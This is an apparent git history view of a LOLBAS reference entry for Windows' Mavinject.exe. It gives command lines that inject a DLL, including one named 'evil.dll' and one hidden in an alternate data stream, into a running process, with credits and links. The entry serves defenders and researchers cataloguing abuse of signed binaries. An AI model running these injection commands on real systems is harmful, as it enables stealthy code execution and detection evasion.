LOLBAS/OSBinaries/Mavinject.md

38 lines
674 B
Markdown
Raw Normal View History

2018-04-18 16:33:16 +00:00
## Mavinject.exe
2018-04-19 00:06:48 +00:00
* Functions: Execute, Read ADS
2018-04-18 16:33:16 +00:00
```
MavInject.exe <PID> /INJECTRUNNING <PATH DLL>
2018-04-19 00:06:48 +00:00
MavInject.exe 3110 /INJECTRUNNING c:\folder\evil.dll
mavinject.exe 4172 /INJECTRUNNING "c:\ads\file.txt:file.dll"
2018-04-18 16:33:16 +00:00
```
Acknowledgements:
* Giuseppe N3mes1s - @gN3mes1s
* Adam - @hexacorn
2018-04-19 00:06:48 +00:00
* Oddvar Moe - @oddvarmoe
2018-04-18 16:33:16 +00:00
Code sample:
*
Resources:
* https://twitter.com/gN3mes1s/status/941315826107510784
2018-04-19 00:06:48 +00:00
* https://twitter.com/Hexcorn/status/776122138063409152
* https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
2018-04-18 16:33:16 +00:00
Full path:
```
C:\Windows\System32\mavinject.exe
C:\Windows\SysWOW64\mavinject.exe
```
Notes: